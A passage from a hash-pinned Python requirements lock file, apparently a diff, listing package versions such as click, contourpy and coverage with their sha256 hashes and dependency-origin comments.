--hash=sha256:3684ebbdffd51329ac44245d1d227d90b965797aa1a8abd026568a1f6ae88811 \ + --hash=sha256:368eb2fc9482158b3a3386e8f01fa61f479c968e9a19ceab8f0188b86b312991 \ + --hash=sha256:38a395079f229a631dece74e24c69c1f612536dd51f345a7d6a98abe2d3e047a \ + --hash=sha256:3b08ebf9488c7ff5eff038e48e6ea938178dfd9dcc8598b5ca941e4ae27b20be \ + --hash=sha256:3bfbe543d957213fc9a3db4979a8e171b7aa7504c1d737029defdb03a6095a38 \ + --hash=sha256:3cfdab178a4add5483e26a9bb1c16d8018ccf39b4be7a3aea6c3979e6828f2ee \ + --hash=sha256:3d00e18e7bbf47e332ab63903d18bae31efc701b1d8cca0382b97784a621fc44 \ + --hash=sha256:401ea6e7af9e7852ed818f64714b579c1935482049670847ca3bd7ba45dc63fb \ + --hash=sha256:420b19411959eec115063229536788e6b32d0a7fa907d6b940317919120d702d \ + --hash=sha256:4253da1b4456b633651a8d59eb1dc7a8a8fa38241014dd7c217b353e547ae394 \ + --hash=sha256:4346a693c08b1d0cfc0e3325bfb0ecd4322fb1a6904d68cf416f8da5e981b234 \ + --hash=sha256:478650a70a750d75d5add401606c77f77069c32e4ba2c9131dc6cee566962ca0 \ + --hash=sha256:48920bf6fe83eb2226756ac623fa54940487154eb18f80889d5735cf234965c0 \ + --hash=sha256:49bd5feb59b0bf3cbf6ebcf4352e371c95b9da9bacd4449f8b64d0ad2c10a26e \ + --hash=sha256:4c440122e1ea68b1f8b44a631ebf49c39180f6869b1da22d76e8a724208ec6e9 \ + --hash=sha256:4ebebb410bc517e1d284c52a123e82704b21e4e7e26a21ebecf7439d0647b8a3 \ + --hash=sha256:527e28a5e751d9e11369b9c5f9ab35c748eb9c109101920c7deb40d6eadf8d03 \ + --hash=sha256:54c963ce6404e52255b737e8a06d356fc762d59096ae566203a67cf2b7d050f2 \ + --hash=sha256:562d24ca7797c1af8852994950c2e623a907b201fc4b0ed29e92af173d3828ca \ + --hash=sha256:5780a29823e1d2bec69b7a104ead4195a43f3e97782efaedbf1f79a0157af715 \ + --hash=sha256:58ca5dc0a0ef99f2801ec0574214c978e9574055bc783830bbb6e7433218609f \ + --hash=sha256:5a4ee37248dfac25107c758bda99d545ce73e60b44d2dd39e4a2bb9f2831e9f5 \ + --hash=sha256:5a54587f93f2e289f8faf25b35c997d4cc75cf677485ac6f50c985715989f99c \ + --hash=sha256:5b81980668800dd1c69faad8aea6e85a8cee0e13bcd3bba7671695ff16260293 \ + --hash=sha256:5c23fa4f6eccdd601949cb00f3988c01d64e671d8faba356397971077022e144 \ + --hash=sha256:5e68229977b2dea28e7061c0c0630a23f2f9f6e9c6fb38d77d3d6dbfe3768b74 \ + --hash=sha256:5f51a19dc52197a20218b05ec5336d0c6b3b09935f838724722032c8d45dc91a \ + --hash=sha256:606a86c1c3196f3738de39a67a7490bbd61cb31c0e0436070bd0c6a48170b38e \ + --hash=sha256:6083d10a846218502d664375b9448508d9fa580bd834567423156c6abfbe899d \ + --hash=sha256:608553f476fca509537e804c4a71f5eb166ce63b75141f89c2c686ce1aa36956 \ + --hash=sha256:63ea0cc840c66670183578c2630d138c0e944aeadfc33f25173ee240f5db780d \ + --hash=sha256:6753de11eef42f1c321b26d682957d92c7f7bbce6530f34bbe0f9291dd37cc6f \ + --hash=sha256:68b7e84ae8239a94f8d2c8f3f3a3a81bcde54805ec8f42a34de927d155688ec6 \ + --hash=sha256:69d647cf158eb6bc9c99503292abed1f2079a2de5859f06a403f8aee6417475d \ + --hash=sha256:6abb1f356fb865baeb6ebc3fadd843e9a96fbf49b9adcca55037f3cceccb7438 \ + --hash=sha256:6c06875a1d4a7537bef70f659b55c6b55b9a47ec3ba8f2db610350c2d9915e6e \ + --hash=sha256:6c57af4084c10cb3286688d65e4c654190ff5edcbc2411d08cdca0a8a44c59a1 \ + --hash=sha256:6c95450fce59f00c6d08eff6572ec2e736e5054c9450253afd5748f8416f2eb9 \ + --hash=sha256:6da562a20a49673fe365b05750e98d03bb2c5f8b8d03562b014c1abb3df739f1 \ + --hash=sha256:6e44bc2780516b3df986d6fe33103c7080cd9dcd5576fe3cb4b0f64309c8f22b \ + --hash=sha256:70ff1c16eb0eb5ee6bb12739292347f981a5ba764cc4df1bc2e69b0405d4ac3b \ + --hash=sha256:72982d9958a42f8132bf2d6b90214ed66477295ef1188731f98ae3511c6eeb5a \ + --hash=sha256:74892fe9f33d204860e782e0a2030bb39f9f0af1e7a24f7d5a5b632df311f655 \ + --hash=sha256:75e243abbb528c1a774390ed71e3f868a9f37b1373442e4bbadd401cfc505ff4 \ + --hash=sha256:7cdded069549b5eae3d5d9bb6c2e5bb4fe83f9b81863e2a193cd747bf197aebb \ + --hash=sha256:7faa47b56070b3dd6f4898ed28528843ab130d53266cb9948d9b1f3bb1a5c5e8 \ + --hash=sha256:7ffc43fe52618fcd7abc6ee0b46aea527db10da73305fcc6aaf9710ac7a33ec7 \ + --hash=sha256:815f143a91983ba3041bba066e492ae3c42de523fb1c699685a1abf3313b7d1b \ + --hash=sha256:826a295a039178479a325be1ae60eded1f0b10f7dda749df59e2440de8f61d64 \ + --hash=sha256:82cc5835997ec78afe293a192e385099355770a7db94b2fb1239d36b32796f1c \ + --hash=sha256:830c04a49998b5ed58c8b642c65b7b26419397f52392a64121ba9fd0e95e7f9f \ + --hash=sha256:83b62410bd36bb1178a7d563e2ee0cf21eb1c980c912ab99c2c78f06227f1731 \ + --hash=sha256:84b736e3b391601bc47b86da381c749c0f894e9191aaca9f31f30c2632206df3 \ + --hash=sha256:85f9e0e2724bbddf05de65e5fb03b73eb23e985b7df4259c1d19feb302eb8dc2 \ + --hash=sha256:8b3e9e29b8b07cc461b9ce7768db7693a93979d0dadf22046f6f3555ded2f516 \ + --hash=sha256:8b8788f114845c01f2b520e0b91ea58d143276cfc0483aa943e815f7b9555c15 \ + --hash=sha256:8cb9b6892b53bd6d11fa4cde3dbee020b1f0b6656be1fbaa1ec0d4324a7839db \ + --hash=sha256:8efc3f1563ed431882dd0dc0411b5f8ace1b1b89074981deaf6bd8af77dbe1bc \ + --hash=sha256:8f006866047c6ec4b627ec144b1e0bbc7427cb31fd7c08d19897d0ac9032af3d \ + --hash=sha256:91f9f7c151e772acebe489eaec96e96a2877202d7dd144e3f96b8676881715a0 \ + --hash=sha256:9491f594859b68052edebd69e05fb045055a713b57a67974e6c1553b4e503c39 \ + --hash=sha256:96720f2aeed3434bc48f4d52fbad64ecc820cfed88915d664780ed9ba09ede78 \ + --hash=sha256:96ae7ab5d8155fde927aa0864fbc8ba3cc4fde6d41ab0c7cea9d6012b4978603 \ + --hash=sha256:98820e1ceb25c6df7a80c4fd8efa59cb121f99bc7c4c1693ad94a2caff5b311d \ + --hash=sha256:993dfcbe75a85a3784abb5084f2c41b915767c90546fcc92803cffa28611baea \ + --hash=sha256:9a1d9b13e5e394e13e3c316f0d910d100b17681ff59797f30da1dba032061296 \ + --hash=sha256:9bb3e0d1345b9c0fe73673ea656375f38a78ec679c2edeae0c24800f04798a85 \ + --hash=sha256:9ce0f885239357379d92fd9a5fddbe20f0e30e0527c29ba69f8e99eeb1304a76 \ + --hash=sha256:9e0213f3f8a2674a6778be299aea1d6dc6dda015aab86f683bca6d78f81f27bb \ + --hash=sha256:9e726478d7a213847860219d74665a6892a643ac93b8f76580f6cf9ed39996b7 \ + --hash=sha256:a17864853f7c518ae7d4b368af98f427f9396805476af40af8698560f09d7d97 \ + --hash=sha256:a284c36b9c6616bf0a8aa4aabba668a0c75ba65ccf40a79868aeaa69ad996897 \ + --hash=sha256:a3ad0e3da22852533858663848608f3f24c0d35e5cde415a4903476f2b4c88ec \ + --hash=sha256:a5613a3a82c974227bde18f03409e30c467f8065cb56d822e3eb83708a5f223d \ + --hash=sha256:a565303d118ea3b94a4b6c076bf568069726be414e43b06d58f7070b076ce11d \ + --hash=sha256:a60773eb5fda796e6e6f76b9c152d270fe59f9788a51a6ff8ba44082d8548ae4 \ + --hash=sha256:a7cb4cd266bd85613367fb85a30cfbf6fe6349919e87e18ca8dba584951bfb8a \ + --hash=sha256:a864bdcacd8bff58bb4845304e031f821a3ec64b2b7259f2d409cd49c9e59ca3 \ + --hash=sha256:ac5a9cc079c67d75f4ddf343276031879eadbb333d1bb231cce297b8d7b9aae8 \ + --hash=sha256:ac68ebfa549cc623e0e9add2937526340c629ccf667b4da85b7ef5f99e70bbd9 \ + --hash=sha256:aff38231e3171c578b2c449a01afa44e9ff40844597a32873da102394f63d28e \ + --hash=sha256:b476cdb63df22da2b91837593380be3ddbe406f36c506c1c91d80e7196b66288 \ + --hash=sha256:b787efadba00f5da6fe89513bfbe3852d52ca3a448fdec165765cb3b44a80248 \ + --hash=sha256:b7eb3eab5c646d3de7dcb14a7c9caebace5249c5767da39e1761cb1576e521a3 \ + --hash=sha256:b8ea208b304587d47931b36481342d20336e0d338ab052f8b4305926482598d6 \ + --hash=sha256:bf1e75dc07a3850b53d1e5f75e04d3ae12afe56284be7821771eaa2466350c73 \ + --hash=sha256:bf91921009025e96ce57a03ced6d14604fc3baf0530351638e9504a55da6fa3b \ + --hash=sha256:c387c6bf91b4774e359a48a179e2872b8e8bf741e4fde06ba8d1665eb9a4760a \ + --hash=sha256:c38d1e9bc2073b0984d2099ea647fd7f6c0d8f83a1e14e0cd32926f16e4c44ce \ + --hash=sha256:c41b067eddcfa5ee6b1169c287605be7fb6b0ea22bba6474c5bb978a668def4f \ + --hash=sha256:c455829625df983f716cbaecbba77f2d1dc2e0e0ed1638c059cece15a279344b \ + --hash=sha256:c54036a518748b6c02e666f6d46c3817561998fb904c3be25b56fb4fe3dc5706 \ + --hash=sha256:c5c6d47a865147e0ae3322ce92e7fb52ba3169d94b447deda56897ea2aa6fac9 \ + --hash=sha256:c5e981a5ac8641381efe6f0029467500661616a530d27bc6eedfe45f840599f8 \ + --hash=sha256:c75191e3c8052045179646cb40e280800a4e0bdfda34d9c949c2f268d44e80e4 \ + --hash=sha256:c825661dfcf843119ab57cdcac0df7a48e168764c66917bc74f9a42ecb096da9 \ + --hash=sha256:c9bde7a960720c8b8e1b5ef7afaa0c9a2f3b55c44abd635b2b29dd066b298e3a \ + --hash=sha256:c9f45186390aee4d1f26f723c615b67df346766c3b16df000d84d6e374f06757 \ + --hash=sha256:d016dc857136c726958102c3b8a3986acdc65ace6fbf12cfdc09cc4bfa2935b2 \ + --hash=sha256:d08952c0f14eb56d9dad72a2e17773b5f709c55b28635822d18c4adf38680833 \ + --hash=sha256:d22a083497d2f7d06a57172c5b60ee66cedcf304fde5226d4dfdc94f6180f5b1 \ + --hash=sha256:d2478bd3b2ead3962a484fb802891be40d10049fb74f83e09cb4463fad023fea \ + --hash=sha256:d54625cbf4e6b60bf0639728cb8b4cb541e340f6d7cafae5806051a40ddf4c45 \ + --hash=sha256:d6100f877d2ed95f0856a3fde25334153add94bf2224c43f45f88e7039262aaa \ + --hash=sha256:d672f329ae504ee240eb39b6effb3318aa8e7e8924c0ce8eee5760b3fad98539 \ + --hash=sha256:d7229a99120c6c2792d96f4857c2648ce5530e93667a2c2388c5ef69a6b84775 \ + --hash=sha256:d74bcf1cdd8ac8267fb216473ce6b112efa07b163536288094541415084d131c \ + --hash=sha256:d788e2ded0c4c47efa4d73cfe59eaf975ee32f425219873d2cb3e3fbaa00f636 \ + --hash=sha256:d867cefea33acad8e33a3eb408cca7889a9cf999bd5433d962089d5a13b6e75f \ + --hash=sha256:d8a9316f4da85e937242642b537c6d55d7e9287dd38e5634732f8233932aff45 \ + --hash=sha256:d90254c8f609338c53ec180fcd4c4f9c16502e238e3fc88ca7fd4c2f38d445b8 \ + --hash=sha256:d9419f44e568f7fafcdc0b3b5c766a2364e705a9b34fb8a56b431e0d1f3f4258 \ + --hash=sha256:d95244906ed69d0f79f190893c65e336c15959003e21449256dc05c001b52ea2 \ + --hash=sha256:dc28949de1bb5f7f30a46f15d74ce7ac5aaa63e03c5de04d68f571c7423af834 \ + --hash=sha256:dc7f6aca0bdac5e6520c8b6769bda69315fe7cb57f69885f115bc8ca02d1d022 \ + --hash=sha256:deb99535e9bf0bea8e274c6413eb939a21be35a3f492678dba4d5b1f4d70f142 \ + --hash=sha256:e31786a947b136329bfdc458c82c06d4ec539b4a4436b7da4df4aafc9902ee80 \ + --hash=sha256:e3b9eaa99a6d8c9ace4cd303915947ef55088d4cd87c6676874f98c5c03aa040 \ + --hash=sha256:e46a37ea7fcf9ae01d71b2e5ece19f1565987f3e308394b829197cbefc061f92 \ + --hash=sha256:e4e8fa586df2208ef040684751345f10f503834a757c9a74ecd19c1a2f9b1ccd \ + --hash=sha256:e54dd1a66fa4bce0ccaf0db9dde336e49b3eec646dc4c1c0991279369d373a14 \ + --hash=sha256:e5f834965c2fe589837bac1002e07e25734ff70381903ccd95b3d649e22bfa40 \ + --hash=sha256:ec6c464cf45867f66a2273e2214d9199a8fbad5cb95ca0fd45f6a2fe1d9d2cf4 \ + --hash=sha256:f044cb1cf44012184715f46584658993b5fee9344d71c4b0c455a17a299730c0 \ + --hash=sha256:f0fde5e5100c735b2274ab898f0742a5dcde492796296cfbe7e0ad6a4cd1a396 \ + --hash=sha256:f1619a3cc174a7e3963dd34348e6fceb6e50db0ddeb0031bd7c73a58286454fa \ + --hash=sha256:f278e131afa96a3622cef9211c406ea2ad1b68eb06f8837cd443684a40e0ae50 \ + --hash=sha256:f2ce3d39fb4a9d674e6639dd5d3146b2e273475d2260f10163228d66fc04433d \ + --hash=sha256:f7496aed56b06325a1ad419c5bf23c6dd042558e874f71dd1b958f3e255f3053 \ + --hash=sha256:f8cd1283a9fe6c2065c807e9d5da81afe5e1e004caef39adc0d8ae86dd883698 \ + --hash=sha256:f9f91d3e8382900f3a68fa0ce94294479de9cd2de6bc0c70acd0f0dfd511836b \ + --hash=sha256:fd68c825548a611158230e2f9222e210ceb2e3391995c0aa5865cbdf3ab4bd49 \ + --hash=sha256:fded2e82ff082e5d8e017e2ddcc1411bd8cb83b8585097fc401ef574f756b888 \ + --hash=sha256:fec352b793cdc183cc9e7e0b6c10fd7bff38ec54ba44cc43599b9b56f7f3db2e \ + --hash=sha256:ffdd7ac514301d0a67f7c23b9f2b431ef909a3c3dd6c3766668d0a6f5900c94e + # via requests +click==8.4.2 \ + --hash=sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6 \ + --hash=sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76 + # via + # semantica (pyproject.toml) + # black + # celery + # click-didyoumean + # click-plugins + # click-repl + # huggingface-hub + # litellm + # python-oxmsg + # spacy + # uvicorn +click-didyoumean==0.3.1 \ + --hash=sha256:4f82fdff0dbe64ef8ab2279bd6aa3f6a99c3b28c05aa09cbfc07c9d7fbb5a463 \ + --hash=sha256:5c4bb6007cfea5f2fd6583a2fb6701a22a41eb98957e63d0fac41c10e7c3117c + # via celery +click-plugins==1.1.1.2 \ + --hash=sha256:008d65743833ffc1f5417bf0e78e8d2c23aab04d9745ba817bd3e71b0feb6aa6 \ + --hash=sha256:d7af3984a99d243c131aa1a828331e7630f4a88a9741fd05c927b204bcf92261 + # via celery +click-repl==0.3.0 \ + --hash=sha256:17849c23dba3d667247dc4defe1757fff98694e90fe37474f3feebb69ced26a9 \ + --hash=sha256:fb7e06deb8da8de86180a33a9da97ac316751c094c6899382da7feeeeb51b812 + # via celery +cloudpathlib==0.24.0 \ + --hash=sha256:b1c51e2d2ec7dc4fed6538991f4aea849d6cf11a7e6b9069f86e461aa1f9b5b4 \ + --hash=sha256:c521a984e77b47e656fe78e20a7e3e260e0ab45fc69e33ac01094227c979e34a + # via weasel +colorlog==6.12.0 \ + --hash=sha256:2a7924c1dadf18b22a0eb8b06d1c7b01d5341707ec1641eb6fcc4fde0c3e8e5f \ + --hash=sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801df784e + # via rapidocr +colourmap==1.2.1 \ + --hash=sha256:4dac30026b072fc210fa23ddaf17b48fbf5c75b947425e9ab10b514afdcef39f \ + --hash=sha256:86b614f458b301145e52f5aaf6f270911021eeb6170a42ce3354b2c5b70e3cf1 + # via + # d3blocks + # d3graph + # distfit + # scatterd +comm==0.2.3 \ + --hash=sha256:2dc8048c10962d55d7ad693be1e7045d891b7ce8d999c97963a5e3e99c055971 \ + --hash=sha256:c615d91d75f7f04f095b30d1c1711babd43bdc6419c1be9886a85f2f4e489417 + # via + # ipykernel + # ipywidgets +confection==1.3.3 \ + --hash=sha256:b9fef9ee84b237ef4611ec3eb5797b70e13063e6310ad9f15536373f5e313c82 \ + --hash=sha256:f0f6810d567ff73993fe74d218ca5e1ffb6a44fb03f391257fc5d033546cbfaa + # via + # spacy + # thinc + # weasel +contourpy==1.3.3 \ + --hash=sha256:023b44101dfe49d7d53932be418477dba359649246075c996866106da069af69 \ + --hash=sha256:07ce5ed73ecdc4a03ffe3e1b3e3c1166db35ae7584be76f65dbbe28a7791b0cc \ + --hash=sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f2848c3dbe880 \ + --hash=sha256:0bf67e0e3f482cb69779dd3061b534eb35ac9b17f163d851e2a547d56dba0a3a \ + --hash=sha256:0c1fc238306b35f246d61a1d416a627348b5cf0648648a031e14bb8705fcdfe8 \ + --hash=sha256:13b68d6a62db8eafaebb8039218921399baf6e47bf85006fd8529f2a08ef33fc \ + --hash=sha256:15ff10bfada4bf92ec8b31c62bf7c1834c244019b4a33095a68000d7075df470 \ + --hash=sha256:177fb367556747a686509d6fef71d221a4b198a3905fe824430e5ea0fda54eb5 \ + --hash=sha256:1cadd8b8969f060ba45ed7c1b714fe69185812ab43bd6b86a9123fe8f99c3263 \ + --hash=sha256:1fd43c3be4c8e5fd6e4f2baeae35ae18176cf2e5cced681cca908addf1cdd53b \ + --hash=sha256:22e9b1bd7a9b1d652cd77388465dc358dafcd2e217d35552424aa4f996f524f5 \ + --hash=sha256:23416f38bfd74d5d28ab8429cc4d63fa67d5068bd711a85edb1c3fb0c3e2f381 \ + --hash=sha256:283edd842a01e3dcd435b1c5116798d661378d83d36d337b8dde1d16a5fc9ba3 \ + --hash=sha256:2a2a8b627d5cc6b7c41a4beff6c5ad5eb848c88255fda4a8745f7e901b32d8e4 \ + --hash=sha256:2b7e9480ffe2b0cd2e787e4df64270e3a0440d9db8dc823312e2c940c167df7e \ + --hash=sha256:322ab1c99b008dad206d406bb61d014cf0174df491ae9d9d0fac6a6fda4f977f \ + --hash=sha256:33c82d0138c0a062380332c861387650c82e4cf1747aaa6938b9b6516762e772 \ + --hash=sha256:348ac1f5d4f1d66d3322420f01d42e43122f43616e0f194fc1c9f5d830c5b286 \ + --hash=sha256:3519428f6be58431c56581f1694ba8e50626f2dd550af225f82fb5f5814d2a42 \ + --hash=sha256:3c30273eb2a55024ff31ba7d052dde990d7d8e5450f4bbb6e913558b3d6c2301 \ + --hash=sha256:3d1a3799d62d45c18bafd41c5fa05120b96a28079f2393af559b843d1a966a77 \ + --hash=sha256:451e71b5a7d597379ef572de31eeb909a87246974d960049a9848c3bc6c41bf7 \ + --hash=sha256:459c1f020cd59fcfe6650180678a9993932d80d44ccde1fa1868977438f0b411 \ + --hash=sha256:4d00e655fcef08aba35ec9610536bfe90267d7ab5ba944f7032549c55a146da1 \ + --hash=sha256:4debd64f124ca62069f313a9cb86656ff087786016d76927ae2cf37846b006c9 \ + --hash=sha256:4feffb6537d64b84877da813a5c30f1422ea5739566abf0bd18065ac040e120a \ + --hash=sha256:50ed930df7289ff2a8d7afeb9603f8289e5704755c7e5c3bbd929c90c817164b \ + --hash=sha256:51e79c1f7470158e838808d4a996fa9bac72c498e93d8ebe5119bc1e6becb0db \ + --hash=sha256:556dba8fb6f5d8742f2923fe9457dbdd51e1049c4a43fd3986a0b14a1d815fc6 \ + --hash=sha256:598c3aaece21c503615fd59c92a3598b428b2f01bfb4b8ca9c4edeecc2438620 \ + --hash=sha256:5ed3657edf08512fc3fe81b510e35c2012fbd3081d2e26160f27ca28affec989 \ + --hash=sha256:626d60935cf668e70a5ce6ff184fd713e9683fb458898e4249b63be9e28286ea \ + --hash=sha256:644a6853d15b2512d67881586bd03f462c7ab755db95f16f14d7e238f2852c67 \ + --hash=sha256:655456777ff65c2c548b7c454af9c6f33f16c8884f11083244b5819cc214f1b5 \ + --hash=sha256:66c8a43a4f7b8df8b71ee1840e4211a3c8d93b214b213f590e18a1beca458f7d \ + --hash=sha256:6afc576f7b33cf00996e5c1102dc2a8f7cc89e39c0b55df93a0b78c1bd992b36 \ + --hash=sha256:6c3d53c796f8647d6deb1abe867daeb66dcc8a97e8455efa729516b997b8ed99 \ + --hash=sha256:709a48ef9a690e1343202916450bc48b9e51c049b089c7f79a267b46cffcdaa1 \ + --hash=sha256:70f9aad7de812d6541d29d2bbf8feb22ff7e1c299523db288004e3157ff4674e \ + --hash=sha256:8153b8bfc11e1e4d75bcb0bff1db232f9e10b274e0929de9d608027e0d34ff8b \ + --hash=sha256:87acf5963fc2b34825e5b6b048f40e3635dd547f590b04d2ab317c2619ef7ae8 \ + --hash=sha256:88df9880d507169449d434c293467418b9f6cbe82edd19284aa0409e7fdb933d \ + --hash=sha256:929ddf8c4c7f348e4c0a5a3a714b5c8542ffaa8c22954862a46ca1813b667ee7 \ + --hash=sha256:92d9abc807cf7d0e047b95ca5d957cf4792fcd04e920ca70d48add15c1a90ea7 \ + --hash=sha256:95b181891b4c71de4bb404c6621e7e2390745f887f2a026b2d99e92c17892339 \ + --hash=sha256:9e999574eddae35f1312c2b4b717b7885d4edd6cb46700e04f7f02db454e67c1 \ + --hash=sha256:a15459b0f4615b00bbd1e91f1b9e19b7e63aea7483d03d804186f278c0af2659 \ + --hash=sha256:a22738912262aa3e254e4f3cb079a95a67132fc5a063890e224393596902f5a4 \ + --hash=sha256:ab2fd90904c503739a75b7c8c5c01160130ba67944a7b77bbf36ef8054576e7f \ + --hash=sha256:ab3074b48c4e2cf1a960e6bbeb7f04566bf36b1861d5c9d4d8ac04b82e38ba20 \ + --hash=sha256:afe5a512f31ee6bd7d0dda52ec9864c984ca3d66664444f2d72e0dc4eb832e36 \ + --hash=sha256:b08a32ea2f8e42cf1d4be3169a98dd4be32bafe4f22b6c4cb4ba810fa9e5d2cb \ + --hash=sha256:b20c7c9a3bf701366556e1b1984ed2d0cedf999903c51311417cf5f591d8c78d \ + --hash=sha256:b2e8faa0ed68cb29af51edd8e24798bb661eac3bd9f65420c1887b6ca89987c8 \ + --hash=sha256:b7301b89040075c30e5768810bc96a8e8d78085b47d8be6e4c3f5a0b4ed478a0 \ + --hash=sha256:b7448cb5a725bb1e35ce88771b86fba35ef418952474492cf7c764059933ff8b \ + --hash=sha256:ca0fdcd73925568ca027e0b17ab07aad764be4706d0a925b89227e447d9737b7 \ + --hash=sha256:ca658cd1a680a5c9ea96dc61cdbae1e85c8f25849843aa799dfd3cb370ad4fbe \ + --hash=sha256:cbedb772ed74ff5be440fa8eee9bd49f64f6e3fc09436d9c7d8f1c287b121d77 \ + --hash=sha256:cd5dfcaeb10f7b7f9dc8941717c6c2ade08f587be2226222c12b25f0483ed497 \ + --hash=sha256:cf9022ef053f2694e31d630feaacb21ea24224be1c3ad0520b13d844274614fd \ + --hash=sha256:d002b6f00d73d69333dac9d0b8d5e84d9724ff9ef044fd63c5986e62b7c9e1b1 \ + --hash=sha256:d06bb1f751ba5d417047db62bca3c8fde202b8c11fb50742ab3ab962c81e8216 \ + --hash=sha256:d304906ecc71672e9c89e87c4675dc5c2645e1f4269a5063b99b0bb29f232d13 \ + --hash=sha256:e4e6b05a45525357e382909a4c1600444e2a45b4795163d3b22669285591c1ae \ + --hash=sha256:e74a9a0f5e3fff48fb5a7f2fd2b9b70a3fe014a67522f79b7cca4c0c7e43c9ae \ + --hash=sha256:ea37e7b45949df430fe649e5de8351c423430046a2af20b1c1961cae3afcda77 \ + --hash=sha256:f64836de09927cba6f79dcd00fdd7d5329f3fccc633468507079c829ca4db4e3 \ + --hash=sha256:fd6ec6be509c787f1caf6b247f0b1ca598bef13f4ddeaa126b7658215529ba0f \ + --hash=sha256:fd907ae12cd483cd83e414b12941c632a969171bf90fc937d0c9f268a31cafff \ + --hash=sha256:fd914713266421b7536de2bfa8181aa8c699432b6763a0ea64195ebe28bff6a9 \ + --hash=sha256:fde6c716d51c04b1c25d0b90364d0be954624a0ee9d60e23e850e8d48353d07a + # via matplotlib +coverage==7.15.4 \ + --hash=sha256:002a438859f7b430bc99afeaf01a6d187dad1d0dc907b64cdeffc632a5db8fd8 \ + --hash=sha256:050467a7983b8e2fe7dd41a78bb30c3e7f8c0b8cafda14b1c46f8b5e3cf2dd3c \ + --hash=sha256:050f66a08805acb5b8a23c6d4a517b1ecf82c08e81ed0e4bd727df065e5c6624 \ + --hash=sha256:0548198fff07ccf4faf469520bce1c2eceb1ce3e62891921138dec10907f9d00 \ + --hash=sha256:05e491d4f3165d62d4f5c8fd48dfeabf2ae8f42cbbd484319af33ea851b78982 \ + --hash=sha256:07545711d4f0f32852a18f18ad11f76f0109909d09e78b9008b4cfc67e829429 \ + --hash=sha256:12b59c90084e3234fb11184886bf4a40f4f16a8c8f867be2e087b81f8e8868d4 \ + --hash=sha256:141fae2cabf5569b782c10afc4c850ce10f618c13f8db54765cba99cc839da1f \ + --hash=sha256:150089274bdc9f940628552cb92844e0223c987f1902ab8efe9f45a2ec758d88 \ + --hash=sha256:1587fb771d1ccceef708fdde1e5af8c7ed24b486b61d13a321acb7d8145390aa \ + --hash=sha256:1c9bf40ebef178a45192c75c4964760bb261b0e6ad725da5fc4c93f674f19753 \ + --hash=sha256:1cd685005cd2c4200adfc14cf39a603b9320efab3f18a8f7f156d20c9cc3345f \ + --hash=sha256:1d10025d96ea89fc2f73714dbc4cbd433fe012c1ac9e23f895d7728b238b6e52 \ + --hash=sha256:1f4f826d70f772ab8b0c052329580d7fe8b8abd191e4ce0c8f81aec6614665d3 \ + --hash=sha256:21b803935e2efc3acebe9697197a294fccf5dc4e5382bd6369542ff7a7d2a1d7 \ + --hash=sha256:226c66e80ec0598d3b9b4874123df167ccca342aca8714f77cac6829688ee09c \ + --hash=sha256:2413074a5ecbb61a01a7888fc72db0ca324d13588c5b38bc0dd8564cdcdfea26 \ + --hash=sha256:288bde2a2d7ab6b6c2d7252fcde8b524387f2d970bdba9658fc6f8bbcaef0f9b \ + --hash=sha256:2c9872e4d9dc5d3cf616bf4b382f5a00359305a5be666a3dd0b5cdb4e49597f9 \ + --hash=sha256:2e179f19bfe1d31f8eeeaa12990194d761c4f62f0759661000bca6cd8729f40b \ + --hash=sha256:2ff8f5e9b8f7a94f0c11c45631eee103dbcb7d63274edd12c56efe1be690b3b4 \ + --hash=sha256:317db01a2cb02552fd67e2b1cca77a4b528a2a277176c5e0bf2cecbb639d3f54 \ + --hash=sha256:337399ad2c93b3acd2a937627dae8b3e86b66707cd3d3e856347999aadf1ef8d \ + --hash=sha256:349062d66f00b40fa2c1c222438bad25fabf755631b5d82937fe985c8008615c \ + --hash=sha256:357a173465c7ce028d07a95cc2b63b5bf59f50ecdd5ad75c5cbb78ada984048e \ + --hash=sha256:37e2f0cdf58e2e1fed4e4d5a8f8786ae2f7eb80b478016876667dc4a01d60a97 \ + --hash=sha256:39ece820e29e0a2ba34b3ecb3be83c27e997eed8926f2ba6fe7ce7a0bda5843b \ + --hash=sha256:3a54f5a0d85050c73a38f6793090ee83974531e67fe5e57a1da9bee11398aa5e \ + --hash=sha256:3d6f4955b73b5445271379a59e3792b0d978f42d4a01e0cf7a67d9c33a3bb0a5 \ + --hash=sha256:3da9e92d1c551fd7563833e9ade686efb0c4b7363ab7681a94283958c950bf5e \ + --hash=sha256:3fc2130bf37df31852a8384f12601563a45a0024bccc6624f38355cba7a8d360 \ + --hash=sha256:3fc9e047706fb4a9abb54f719d3aa643e80e5bb3818182c40aee01ac0f0247ba \ + --hash=sha256:3ff205ab5e3ecc670f6a4dd19d9cbf12ede53dd41cfc1e15716ec961ea6d314e \ + --hash=sha256:4256ced708e598e05209bc1a8ab4074e04a51dba4c62fb45926a229af675ace7 \ + --hash=sha256:425920379052ff1fe465268f3361d35804a241bbdd5a1b592c8cb60df4c52325 \ + --hash=sha256:43619d04c3671792d2c4706ae8bf45e265dc87bbd4078189ef8b847ea1e74be2 \ + --hash=sha256:460115e32ee40566476db5048f9bec1e842c127ad8e6f8be745aad3ac9cbc839 \ + --hash=sha256:46822e9b6ff1c6a72b518c162c44a8f45a61a1d609c51084bf5b16c023c5037b \ + --hash=sha256:474223409d88eb20d2d6a0d37ea60e8647a65a90cc008dc1f0410af5f64f1e0d \ + --hash=sha256:4a4bf917c9953f57c957be31c1cd504e3bd2f34d4a352b9d391a3025336f6768 \ + --hash=sha256:4dff9daa47d83120c3ec38ce921214242944a832aa04e903e50b5b7ebac8972d \ + --hash=sha256:4e6f6f632b7b2f714bf7a1346e8f97b650ee71f3c298aaad42a2ab60f0f07645 \ + --hash=sha256:5172326e861a38b48b48befca15e0f477a26b283337a33a739c8fed229934e36 \ + --hash=sha256:5669c8378ebde86f5def7a25d29586631b58acc27ffde04399f678f3dfc6e082 \ + --hash=sha256:5a325e815318638aed1655d9c06e6d7c2d3d46c09231ce988070428a8762d734 \ + --hash=sha256:5c3431b2161279b7db5c2a1aa58ae02e5cb8c3c42d93a5094be3f5537bd5b11b \ + --hash=sha256:63fd6fcd1dd6e158f7eb78606e72933b3f6d01e7b747f99c6c12d764307a0fdc \ + --hash=sha256:67bc345491ab55b837277d76f5775d057e8c7f1ac44d890d8c2c82adde258c6f \ + 